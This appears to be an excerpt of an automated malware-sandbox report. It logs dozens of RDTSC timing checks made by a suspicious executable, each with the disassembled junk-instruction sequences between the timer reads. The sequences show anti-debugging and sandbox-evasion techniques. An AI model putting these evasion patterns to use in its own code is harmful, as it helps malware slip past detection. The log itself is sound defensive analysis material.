xchg eax, ebx 0x00000052 pushad 0x00000053 pushad 0x00000054 ja 00007FC070C1F306h 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d push edi 0x0000005e jmp 00007FC070C1F314h 0x00000063 pop edi 0x00000064 popad 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007FC070C1F30Fh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61FF5A second address: 61FF60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61EA51 second address: 61EA5B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC070C1F30Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61FF60 second address: 61FF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC070F37E36h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61EA5B second address: 61EA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jp 00007FC070C1F306h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61EA6C second address: 61EA76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC070F37E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 624C5B second address: 624C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 624C5F second address: 624C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62601F second address: 626029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FC070C1F306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 626029 second address: 62602D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6261B4 second address: 6261BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 629274 second address: 629278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 629278 second address: 629292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F30Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 629292 second address: 629298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6283AC second address: 6283B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A504 second address: 62A51B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC070F37E3Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A51B second address: 62A521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A6A3 second address: 62A6A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A6A9 second address: 62A6BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jng 00007FC070C1F306h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62F68B second address: 62F691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CA1BB second address: 5CA1BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CA1BF second address: 5CA1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CA1CB second address: 5CA1CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CA1CF second address: 5CA1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E3Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e jnc 00007FC070F37E36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CA1ED second address: 5CA1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62F80F second address: 62F813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62F813 second address: 62F819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 630830 second address: 6308C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push ebx 0x0000000c jo 00007FC070F37E36h 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 nop 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007FC070F37E38h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 push edx 0x00000037 mov bl, B4h 0x00000039 pop ebx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 stc 0x00000042 mov eax, dword ptr [ebp+122D046Dh] 0x00000048 js 00007FC070F37E38h 0x0000004e mov ebx, eax 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push ecx 0x00000055 call 00007FC070F37E38h 0x0000005a pop ecx 0x0000005b mov dword ptr [esp+04h], ecx 0x0000005f add dword ptr [esp+04h], 0000001Bh 0x00000067 inc ecx 0x00000068 push ecx 0x00000069 ret 0x0000006a pop ecx 0x0000006b ret 0x0000006c mov di, E43Bh 0x00000070 nop 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 je 00007FC070F37E36h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6308C5 second address: 6308C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6308C9 second address: 6308D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FC070F37E36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6308D7 second address: 6308DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634A02 second address: 634A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6308DB second address: 6308EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FC070C1F310h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6318B1 second address: 6318B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634A06 second address: 634A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6318B7 second address: 6318BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634A0C second address: 634A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov di, 32DCh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FC070C1F308h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub bx, 0D11h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FC070C1F308h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D2DC1h], eax 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jbe 00007FC070C1F306h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634A79 second address: 634A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634A7D second address: 634A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634A87 second address: 634A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634C2F second address: 634C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FC070C1F306h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 634D08 second address: 634D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC070F37E3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 635CE5 second address: 635CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 635CE9 second address: 635CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 635DB0 second address: 635DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DE29F second address: 5DE2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DE2A3 second address: 5DE2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DE2A9 second address: 5DE2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DE2AD second address: 5DE2BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC070C1F306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63C7AF second address: 63C7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63C7B4 second address: 63C7CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC070C1F306h 0x0000000a jmp 00007FC070C1F311h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63C7CF second address: 63C7E5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC070F37E36h 0x00000008 jnl 00007FC070F37E36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63F282 second address: 63F296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC070C1F306h 0x0000000a jnp 00007FC070C1F30Ah 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6428CE second address: 64290E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FC070F37E43h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007FC070F37E47h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64290E second address: 642912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 642912 second address: 642918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 642A23 second address: 642A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007FC070C1F30Eh 0x0000000d jns 00007FC070C1F308h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC070C1F30Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 642A4D second address: 642A81 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jno 00007FC070F37E4Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push edi 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 642A81 second address: 46DBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 jne 00007FC070C1F313h 0x0000000d jmp 00007FC070C1F30Dh 0x00000012 push dword ptr [ebp+122D0571h] 0x00000018 cld 0x00000019 call dword ptr [ebp+122D273Eh] 0x0000001f pushad 0x00000020 pushad 0x00000021 mov ebx, dword ptr [ebp+122D2A99h] 0x00000027 movzx ebx, bx 0x0000002a popad 0x0000002b pushad 0x0000002c mov esi, dword ptr [ebp+122D2BADh] 0x00000032 mov esi, dword ptr [ebp+122D29FDh] 0x00000038 popad 0x00000039 xor eax, eax 0x0000003b stc 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 xor dword ptr [ebp+122D1D52h], ecx 0x00000046 jne 00007FC070C1F318h 0x0000004c mov dword ptr [ebp+122D2BD9h], eax 0x00000052 jmp 00007FC070C1F315h 0x00000057 mov dword ptr [ebp+122D1D52h], eax 0x0000005d mov esi, 0000003Ch 0x00000062 jmp 00007FC070C1F30Eh 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b jmp 00007FC070C1F30Ah 0x00000070 lodsw 0x00000072 jmp 00007FC070C1F313h 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b jne 00007FC070C1F320h 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jg 00007FC070C1F324h 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e push edx 0x0000008f jmp 00007FC070C1F30Fh 0x00000094 pop edx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6495FD second address: 649608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 649608 second address: 64960E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 648ABB second address: 648AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E48h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 648E81 second address: 648E98 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC070C1F306h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC070C1F30Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64902A second address: 649043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E3Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d jbe 00007FC070F37E36h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 649043 second address: 64904E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FC070C1F306h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6491A5 second address: 6491A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6491A9 second address: 6491CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FC070C1F312h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64F13C second address: 64F140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64F140 second address: 64F15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jo 00007FC070C1F306h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 js 00007FC070C1F30Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64F15F second address: 64F165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64F165 second address: 64F17E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC070C1F312h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64F17E second address: 64F186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64DC77 second address: 64DC7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64DC7D second address: 64DC9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC070F37E45h 0x00000008 jo 00007FC070F37E36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64DDF7 second address: 64DE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C1F310h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64EB77 second address: 64EB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64EB7B second address: 64EBAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F314h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FC070C1F317h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FE278 second address: 5FE27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FE27E second address: 5FE28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FC070C1F30Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FE28E second address: 5FE292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FE292 second address: 5FE2C4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC070C1F319h 0x00000008 pushad 0x00000009 jno 00007FC070C1F306h 0x0000000f jmp 00007FC070C1F30Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64EFB2 second address: 64EFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FC070F37E3Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64D97A second address: 64D99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FC070C1F313h 0x0000000a popad 0x0000000b push ecx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 64D99B second address: 64D9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D25BC second address: 5D25C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D25C4 second address: 5D25E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC070F37E46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 656BF1 second address: 656BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 656BF5 second address: 656BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 656BF9 second address: 656C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC070C1F312h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62213E second address: 622143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
